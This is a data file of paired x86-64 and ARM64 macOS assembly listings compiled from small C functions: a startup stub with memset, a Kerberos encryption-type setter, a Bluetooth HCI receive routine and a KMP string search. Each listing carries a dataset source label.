__start: ; @_start
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh0:
adrp x0, _bss@GOTPAGE
Lloh1:
ldr x0, [x0, _bss@GOTPAGEOFF]
Lloh2:
adrp x8, _endOfBinary@GOTPAGE
Lloh3:
ldr x8, [x8, _endOfBinary@GOTPAGEOFF]
sub x1, x8, x0
bl _bzero
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
b _main
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.globl _memset ; -- Begin function memset
.p2align 2
_memset: ; @memset
.cfi_startproc
; %bb.0:
cbz x2, LBB1_8
; %bb.1:
cmp x2, #8
b.hs LBB1_3
; %bb.2:
mov x8, x2
b LBB1_6
LBB1_3:
and x9, x2, #0xfffffffffffffff8
dup.2s v0, w1
and x8, x2, #0x7
add x12, x2, x0
mov.s w10, v0[1]
mov.s w11, v0[1]
sub x12, x12, #4
mov.s w13, v0[1]
mov.s w14, v0[1]
mov x15, x9
LBB1_4: ; =>This Inner Loop Header: Depth=1
strb w10, [x12, #3]
fmov w16, s0
strb w16, [x12, #2]
strb w11, [x12, #1]
strb w16, [x12]
sturb w13, [x12, #-1]
sturb w16, [x12, #-2]
sturb w14, [x12, #-3]
sturb w16, [x12, #-4]
sub x12, x12, #8
sub x15, x15, #8
cbnz x15, LBB1_4
; %bb.5:
cmp x9, x2
b.eq LBB1_8
LBB1_6:
sub x9, x0, #1
LBB1_7: ; =>This Inner Loop Header: Depth=1
strb w1, [x9, x8]
subs x8, x8, #1
b.ne LBB1_7
LBB1_8:
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| the_stack_data/179829475.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function set_etypes
_set_etypes: ## @set_etypes
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $16, %rsp
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r12
movq %rsi, %rcx
movl %edi, %ebx
leaq L_.str(%rip), %rdx
xorl %r15d, %r15d
xorl %esi, %esi
xorl %r8d, %r8d
callq _krb5_config_get_strings
testq %rax, %rax
je LBB0_5
## %bb.1:
movq %rax, %r14
movl $1, %r15d
movl $8, %edi
.p2align 4, 0x90
LBB0_2: ## =>This Inner Loop Header: Depth=1
addl $-4, %edi
cmpq $0, -8(%r14,%r15,8)
leaq -1(%r15), %r15
jne LBB0_2
## %bb.3:
callq _malloc
testq %rax, %rax
je LBB0_7
## %bb.4:
movq %r14, %rdi
callq _krb5_config_free_strings
movq _ENOMEM@GOTPCREL(%rip), %r15
movl (%r15), %r14d
leaq L_.str.1(%rip), %rdi
leaq L_.str.2(%rip), %rsi
callq _N_
movl %ebx, %edi
movl %r14d, %esi
movl %eax, %edx
callq _krb5_set_error_message
movl (%r15), %r15d
jmp LBB0_6
LBB0_5:
movq $0, (%r12)
LBB0_6:
movl %r15d, %eax
addq $16, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
LBB0_7:
leaq -36(%rbp), %rsi
movq %r15, %rdi
movq %r14, %rdx
movl %ebx, %ecx
callq _set_etypes.cold.1
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function set_etypes.cold.1
_set_etypes.cold.1: ## @set_etypes.cold.1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movl %ecx, %ebx
movq %rsi, %r14
movq (%rdx), %rsi
movl %ecx, %edi
movq %r14, %rdx
callq _krb5_string_to_enctype
movl (%r14), %esi
movl %ebx, %edi
callq _krb5_enctype_valid
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "libdefaults"
.comm _ENOMEM,4,2 ## @ENOMEM
L_.str.1: ## @.str.1
.asciz "malloc: out of memory"
L_.str.2: ## @.str.2
.space 1
.comm _ETYPE_NULL,4,2 ## @ETYPE_NULL
.no_dead_strip _set_etypes
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function set_etypes
_set_etypes: ; @set_etypes
.cfi_startproc
; %bb.0:
sub sp, sp, #64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x21, x2
mov x3, x1
mov x19, x0
Lloh0:
adrp x2, l_.str@PAGE
Lloh1:
add x2, x2, l_.str@PAGEOFF
mov x1, #0 ; =0x0
mov x4, #0 ; =0x0
bl _krb5_config_get_strings
cbz x0, LBB0_5
; %bb.1:
mov x20, x0
mov x21, #0 ; =0x0
mov w0, #8 ; =0x8
LBB0_2: ; =>This Inner Loop Header: Depth=1
ldr x8, [x20, x21, lsl #3]
sub x21, x21, #1
sub w0, w0, #4
cbnz x8, LBB0_2
; %bb.3:
bl _malloc
cbz x0, LBB0_7
; %bb.4:
mov x0, x20
bl _krb5_config_free_strings
Lloh2:
adrp x21, _ENOMEM@GOTPAGE
Lloh3:
ldr x21, [x21, _ENOMEM@GOTPAGEOFF]
ldr w20, [x21]
Lloh4:
adrp x0, l_.str.1@PAGE
Lloh5:
add x0, x0, l_.str.1@PAGEOFF
Lloh6:
adrp x1, l_.str.2@PAGE
Lloh7:
add x1, x1, l_.str.2@PAGEOFF
bl _N_
mov x2, x0
mov x0, x19
mov x1, x20
bl _krb5_set_error_message
ldr w0, [x21]
b LBB0_6
LBB0_5:
str xzr, [x21]
LBB0_6:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
LBB0_7:
add x0, x21, #1
add x1, sp, #12
mov x2, x20
mov x3, x19
bl _set_etypes.cold.1
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function set_etypes.cold.1
_set_etypes.cold.1: ; @set_etypes.cold.1
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x3
mov x20, x1
ldr x1, [x2]
mov x0, x3
mov x2, x20
bl _krb5_string_to_enctype
ldr w1, [x20]
mov x0, x19
bl _krb5_enctype_valid
brk #0x1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "libdefaults"
.comm _ENOMEM,4,2 ; @ENOMEM
l_.str.1: ; @.str.1
.asciz "malloc: out of memory"
l_.str.2: ; @.str.2
.space 1
.comm _ETYPE_NULL,4,2 ; @ETYPE_NULL
.no_dead_strip _set_etypes
.subsections_via_symbols
| assembly_file_77919.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _hci_recv ## -- Begin function hci_recv
.p2align 4, 0x90
_hci_recv: ## @hci_recv
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %rbx
movl %edi, %r12d
xorl %edi, %edi
movq %rsi, -56(%rbp) ## 8-byte Spill
testq %rsi, %rsi
setne %dil
callq _assert
xorl %edi, %edi
testq %rbx, %rbx
setne %dil
callq _assert
xorl %edi, %edi
movq %rbx, -64(%rbp) ## 8-byte Spill
cmpl $5, (%rbx)
setae %dil
callq _assert
leal 1(%r12), %r13d
leaq -44(%rbp), %rbx
leaq -80(%rbp), %r14
movq _EINTR@GOTPCREL(%rip), %r15
.p2align 4, 0x90
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq %rbx, %rdi
callq _FD_ZERO
movl %r12d, %edi
movq %rbx, %rsi
callq _FD_SET
movq _timeout@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -72(%rbp)
movq $0, -80(%rbp)
movl %r13d, %edi
movq %rbx, %rsi
xorl %edx, %edx
xorl %ecx, %ecx
movq %r14, %r8
callq _select
testl %eax, %eax
jg LBB0_5
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
jns LBB0_7
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq _errno@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq (%r15), %rax
je LBB0_1
jmp LBB0_8
LBB0_5:
leaq -44(%rbp), %rsi
movl %r12d, %edi
callq _FD_ISSET
movl %eax, %edi
callq _assert
movq -64(%rbp), %rbx ## 8-byte Reload
movl (%rbx), %edx
movl %r12d, %edi
movq -56(%rbp), %rsi ## 8-byte Reload
xorl %ecx, %ecx
callq _recv
testl %eax, %eax
movq _ERROR@GOTPCREL(%rip), %rcx
js LBB0_9
## %bb.6:
movl %eax, (%rbx)
movq _OK@GOTPCREL(%rip), %rcx
jmp LBB0_9
LBB0_7:
movq _ETIMEDOUT@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq _errno@GOTPCREL(%rip), %rcx
movq %rax, (%rcx)
LBB0_8:
movq _ERROR@GOTPCREL(%rip), %rcx
LBB0_9:
movl (%rcx), %eax
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _timeout,4,2 ## @timeout
.comm _errno,8,3 ## @errno
.comm _EINTR,8,3 ## @EINTR
.comm _ETIMEDOUT,8,3 ## @ETIMEDOUT
.comm _ERROR,4,2 ## @ERROR
.comm _OK,4,2 ## @OK
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _hci_recv ; -- Begin function hci_recv
.p2align 2
_hci_recv: ; @hci_recv
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x2
mov x20, x1
mov x21, x0
cmp x1, #0
cset w0, ne
bl _assert
cmp x19, #0
cset w0, ne
bl _assert
ldr w8, [x19]
cmp w8, #4
cset w0, hi
bl _assert
add w22, w21, #1
Lloh0:
adrp x25, _timeout@GOTPAGE
Lloh1:
ldr x25, [x25, _timeout@GOTPAGEOFF]
Lloh2:
adrp x24, _errno@GOTPAGE
Lloh3:
ldr x24, [x24, _errno@GOTPAGEOFF]
Lloh4:
adrp x26, _EINTR@GOTPAGE
Lloh5:
ldr x26, [x26, _EINTR@GOTPAGEOFF]
Lloh6:
adrp x23, _ERROR@GOTPAGE
Lloh7:
ldr x23, [x23, _ERROR@GOTPAGEOFF]
LBB0_1: ; =>This Inner Loop Header: Depth=1
add x0, sp, #12
bl _FD_ZERO
add x1, sp, #12
mov x0, x21
bl _FD_SET
ldr w8, [x25]
str w8, [sp, #24]
str xzr, [sp, #16]
add x1, sp, #12
add x4, sp, #16
mov x0, x22
mov x2, #0
mov x3, #0
bl _select
cmp w0, #0
b.gt LBB0_4
; %bb.2: ; in Loop: Header=BB0_1 Depth=1
tbz w0, #31, LBB0_6
; %bb.3: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [x24]
ldr x9, [x26]
cmp x8, x9
b.eq LBB0_1
b LBB0_8
LBB0_4:
add x1, sp, #12
mov x0, x21
bl _FD_ISSET
bl _assert
ldr w2, [x19]
mov x0, x21
mov x1, x20
mov w3, #0
bl _recv
tbnz w0, #31, LBB0_7
; %bb.5:
str w0, [x19]
Lloh8:
adrp x23, _OK@GOTPAGE
Lloh9:
ldr x23, [x23, _OK@GOTPAGEOFF]
b LBB0_8
LBB0_6:
Lloh10:
adrp x8, _ETIMEDOUT@GOTPAGE
Lloh11:
ldr x8, [x8, _ETIMEDOUT@GOTPAGEOFF]
Lloh12:
ldr x8, [x8]
str x8, [x24]
LBB0_7:
Lloh13:
adrp x23, _ERROR@GOTPAGE
Lloh14:
ldr x23, [x23, _ERROR@GOTPAGEOFF]
LBB0_8:
ldr w0, [x23]
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #112
ret
.loh AdrpLdrGot Lloh6, Lloh7
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12
.loh AdrpLdrGot Lloh13, Lloh14
.cfi_endproc
; -- End function
.comm _timeout,4,2 ; @timeout
.comm _errno,8,3 ; @errno
.comm _EINTR,8,3 ; @EINTR
.comm _ETIMEDOUT,8,3 ; @ETIMEDOUT
.comm _ERROR,4,2 ; @ERROR
.comm _OK,4,2 ; @OK
.subsections_via_symbols
| AnghaBench/freebsd/usr.sbin/bluetooth/hccontrol/extr_send_recv.c_hci_recv.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _computeLPSArray ## -- Begin function computeLPSArray
.p2align 4, 0x90
_computeLPSArray: ## @computeLPSArray
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, (%rdx)
cmpl $2, %esi
jl LBB0_9
## %bb.1:
xorl %r9d, %r9d
movl $1, %r8d
jmp LBB0_2
.p2align 4, 0x90
LBB0_3: ## in Loop: Header=BB0_2 Depth=1
incl %r9d
movl %r9d, (%rdx,%rcx,4)
incl %ecx
LBB0_7: ## in Loop: Header=BB0_2 Depth=1
movl %ecx, %r8d
cmpl %esi, %r8d
jge LBB0_9
LBB0_2: ## =>This Inner Loop Header: Depth=1
movslq %r8d, %rcx
movzbl (%rdi,%rcx), %eax
movslq %r9d, %r10
cmpb (%rdi,%r10), %al
je LBB0_3
## %bb.4: ## in Loop: Header=BB0_2 Depth=1
testl %r9d, %r9d
je LBB0_6
## %bb.5: ## in Loop: Header=BB0_2 Depth=1
movl -4(%rdx,%r10,4), %r9d
cmpl %esi, %r8d
jl LBB0_2
jmp LBB0_9
LBB0_6: ## in Loop: Header=BB0_2 Depth=1
movl $0, (%rdx,%rcx,4)
incl %ecx
xorl %r9d, %r9d
jmp LBB0_7
LBB0_9:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _KMPSearch ## -- Begin function KMPSearch
.p2align 4, 0x90
_KMPSearch: ## @KMPSearch
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %rbx
movq %rdi, %r13
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
callq _strlen
movq %rax, %r15
movq %rbx, -56(%rbp) ## 8-byte Spill
movq %rbx, %rdi
callq _strlen
movq %rax, %r12
movl %r15d, %eax
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq %rsp, %r8
movl $0, (%r8)
cmpl $2, %r15d
jl LBB1_9
## %bb.1:
xorl %eax, %eax
movl $1, %ecx
jmp LBB1_2
.p2align 4, 0x90
LBB1_3: ## in Loop: Header=BB1_2 Depth=1
incl %eax
movl %eax, (%r8,%rdx,4)
incl %edx
LBB1_7: ## in Loop: Header=BB1_2 Depth=1
movl %edx, %ecx
cmpl %r15d, %ecx
jge LBB1_9
LBB1_2: ## =>This Inner Loop Header: Depth=1
movslq %ecx, %rdx
movzbl (%r13,%rdx), %ebx
movslq %eax, %rsi
cmpb (%r13,%rsi), %bl
je LBB1_3
## %bb.4: ## in Loop: Header=BB1_2 Depth=1
testl %eax, %eax
je LBB1_6
## %bb.5: ## in Loop: Header=BB1_2 Depth=1
movl -4(%r8,%rsi,4), %eax
cmpl %r15d, %ecx
jl LBB1_2
jmp LBB1_9
LBB1_6: ## in Loop: Header=BB1_2 Depth=1
movl $0, (%r8,%rdx,4)
incl %edx
xorl %eax, %eax
jmp LBB1_7
LBB1_9:
testl %r12d, %r12d
movq -56(%rbp), %rdi ## 8-byte Reload
jle LBB1_19
## %bb.10:
movl %r15d, %eax
decl %eax
cltq
movq %rax, -64(%rbp) ## 8-byte Spill
xorl %eax, %eax
xorl %r14d, %r14d
jmp LBB1_11
.p2align 4, 0x90
LBB1_12: ## in Loop: Header=BB1_11 Depth=1
movl %r14d, %esi
subl %r15d, %esi
leaq L_.str(%rip), %rdi
xorl %eax, %eax
movq %r8, %rbx
callq _printf
movq %rbx, %r8
movq -56(%rbp), %rdi ## 8-byte Reload
movq -64(%rbp), %rax ## 8-byte Reload
movl (%rbx,%rax,4), %eax
LBB1_18: ## in Loop: Header=BB1_11 Depth=1
cmpl %r12d, %r14d
jge LBB1_19
LBB1_11: ## =>This Inner Loop Header: Depth=1
cltq
movzbl (%r13,%rax), %ecx
movslq %r14d, %r14
xorl %edx, %edx
cmpb (%rdi,%r14), %cl
sete %dl
addl %edx, %r14d
addl %edx, %eax
cmpl %r15d, %eax
je LBB1_12
## %bb.13: ## in Loop: Header=BB1_11 Depth=1
cmpl %r12d, %r14d
jge LBB1_18
## %bb.14: ## in Loop: Header=BB1_11 Depth=1
movslq %eax, %rcx
movzbl (%r13,%rcx), %edx
movslq %r14d, %rsi
cmpb (%rdi,%rsi), %dl
je LBB1_18
## %bb.15: ## in Loop: Header=BB1_11 Depth=1
testl %eax, %eax
je LBB1_17
## %bb.16: ## in Loop: Header=BB1_11 Depth=1
movl -4(%r8,%rcx,4), %eax
jmp LBB1_18
LBB1_17: ## in Loop: Header=BB1_11 Depth=1
incl %r14d
xorl %eax, %eax
jmp LBB1_18
LBB1_19:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -48(%rbp), %rax
jne LBB1_21
## %bb.20:
leaq -40(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB1_21:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
subq $2024, %rsp ## imm = 0x7E8
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -32(%rbp)
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq L_.str.2(%rip), %r15
leaq -1040(%rbp), %r14
movq %r15, %rdi
movq %r14, %rsi
xorl %eax, %eax
callq _scanf
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq -2048(%rbp), %rbx
movq %r15, %rdi
movq %rbx, %rsi
xorl %eax, %eax
callq _scanf
movq %rbx, %rdi
movq %r14, %rsi
callq _KMPSearch
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -32(%rbp), %rax
jne LBB2_2
## %bb.1:
xorl %eax, %eax
addq $2024, %rsp ## imm = 0x7E8
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
LBB2_2:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Found pattern at index %d "
L_.str.1: ## @.str.1
.asciz "Enter the text string (1000 characters max) -"
L_.str.2: ## @.str.2
.asciz "%s"
L_.str.3: ## @.str.3
.asciz "Enter the pattern string to be searched (1000 characters max) -"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _computeLPSArray ; -- Begin function computeLPSArray
.p2align 2
_computeLPSArray: ; @computeLPSArray
.cfi_startproc
; %bb.0:
str wzr, [x2]
cmp w1, #2
b.lt LBB0_8
; %bb.1:
mov w9, #0
mov w8, #1
b LBB0_4
LBB0_2: ; in Loop: Header=BB0_4 Depth=1
add w9, w9, #1
str w9, [x2, x10, lsl #2]
LBB0_3: ; in Loop: Header=BB0_4 Depth=1
add w8, w8, #1
cmp w8, w1
b.ge LBB0_8
LBB0_4: ; =>This Inner Loop Header: Depth=1
sxtw x10, w8
ldrb w11, [x0, x10]
sxtw x9, w9
ldrb w12, [x0, x9]
cmp w11, w12
b.eq LBB0_2
; %bb.5: ; in Loop: Header=BB0_4 Depth=1
cbz w9, LBB0_7
; %bb.6: ; in Loop: Header=BB0_4 Depth=1
add x9, x2, x9, lsl #2
ldur w9, [x9, #-4]
cmp w8, w1
b.lt LBB0_4
b LBB0_8
LBB0_7: ; in Loop: Header=BB0_4 Depth=1
str wzr, [x2, x10, lsl #2]
b LBB0_3
LBB0_8:
ret
.cfi_endproc
; -- End function
.globl _KMPSearch ; -- Begin function KMPSearch
.p2align 2
_KMPSearch: ; @KMPSearch
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
sub sp, sp, #16
mov x19, x1
mov x20, x0
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-72]
bl _strlen
mov x21, x0
mov x0, x19
bl _strlen
mov x22, x0
ubfiz x8, x21, #2, #32
mov x9, x8
Lloh3:
adrp x16, ___chkstk_darwin@GOTPAGE
Lloh4:
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
mov x9, sp
add x8, x8, #15
and x8, x8, #0x7fffffff0
sub x24, x9, x8
mov sp, x24
str wzr, [x24]
cmp w21, #1
b.le LBB1_8
; %bb.1:
mov w9, #0
mov w8, #1
b LBB1_4
LBB1_2: ; in Loop: Header=BB1_4 Depth=1
add w9, w9, #1
str w9, [x24, x10, lsl #2]
LBB1_3: ; in Loop: Header=BB1_4 Depth=1
add w8, w8, #1
cmp w8, w21
b.ge LBB1_8
LBB1_4: ; =>This Inner Loop Header: Depth=1
sxtw x10, w8
ldrb w11, [x20, x10]
sxtw x9, w9
ldrb w12, [x20, x9]
cmp w11, w12
b.eq LBB1_2
; %bb.5: ; in Loop: Header=BB1_4 Depth=1
cbz w9, LBB1_7
; %bb.6: ; in Loop: Header=BB1_4 Depth=1
add x9, x24, x9, lsl #2
ldur w9, [x9, #-4]
cmp w8, w21
b.lt LBB1_4
b LBB1_8
LBB1_7: ; in Loop: Header=BB1_4 Depth=1
str wzr, [x24, x10, lsl #2]
b LBB1_3
LBB1_8:
cmp w22, #1
b.lt LBB1_18
; %bb.9:
mov w8, #0
mov w25, #0
sub w9, w21, #1
sxtw x26, w9
Lloh5:
adrp x23, l_.str@PAGE
Lloh6:
add x23, x23, l_.str@PAGEOFF
b LBB1_12
LBB1_10: ; in Loop: Header=BB1_12 Depth=1
sub w8, w25, w21
str x8, [sp, #-16]!
mov x0, x23
bl _printf
add sp, sp, #16
ldr w8, [x24, x26, lsl #2]
LBB1_11: ; in Loop: Header=BB1_12 Depth=1
cmp w25, w22
b.ge LBB1_18
LBB1_12: ; =>This Inner Loop Header: Depth=1
; kill: def $w8 killed $w8 killed $x8 def $x8
sxtw x8, w8
ldrb w9, [x20, x8]
; kill: def $w25 killed $w25 killed $x25 def $x25
sxtw x10, w25
ldrb w11, [x19, x10]
cmp w9, w11
cinc x25, x10, eq
cinc x8, x8, eq
cmp w8, w21
b.eq LBB1_10
; %bb.13: ; in Loop: Header=BB1_12 Depth=1
cmp w25, w22
b.ge LBB1_11
; %bb.14: ; in Loop: Header=BB1_12 Depth=1
ldrb w9, [x20, x8]
ldrb w10, [x19, x25]
cmp w9, w10
b.eq LBB1_11
; %bb.15: ; in Loop: Header=BB1_12 Depth=1
cbz w8, LBB1_17
; %bb.16: ; in Loop: Header=BB1_12 Depth=1
sub w8, w8, #1
ldr w8, [x24, w8, sxtw #2]
b LBB1_11
LBB1_17: ; in Loop: Header=BB1_12 Depth=1
add w25, w25, #1
b LBB1_11
LBB1_18:
ldur x8, [x29, #-72]
Lloh7:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh8:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh9:
ldr x9, [x9]
cmp x9, x8
b.ne LBB1_20
; %bb.19:
sub sp, x29, #64
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
LBB1_20:
bl ___stack_chk_fail
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh5, Lloh6
.loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
sub sp, sp, #2016
Lloh10:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh11:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh12:
ldr x8, [x8]
stur x8, [x29, #-24]
Lloh13:
adrp x0, l_.str.1@PAGE
Lloh14:
add x0, x0, l_.str.1@PAGEOFF
bl _printf
add x8, sp, #1008
str x8, [sp]
Lloh15:
adrp x19, l_.str.2@PAGE
Lloh16:
add x19, x19, l_.str.2@PAGEOFF
mov x0, x19
bl _scanf
Lloh17:
adrp x0, l_.str.3@PAGE
Lloh18:
add x0, x0, l_.str.3@PAGEOFF
bl _printf
add x8, sp, #8
str x8, [sp]
mov x0, x19
bl _scanf
add x0, sp, #8
add x1, sp, #1008
bl _KMPSearch
ldur x8, [x29, #-24]
Lloh19:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh20:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh21:
ldr x9, [x9]
cmp x9, x8
b.ne LBB2_2
; %bb.1:
mov w0, #0
add sp, sp, #2016
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB2_2:
bl ___stack_chk_fail
.loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21
.loh AdrpAdd Lloh17, Lloh18
.loh AdrpAdd Lloh15, Lloh16
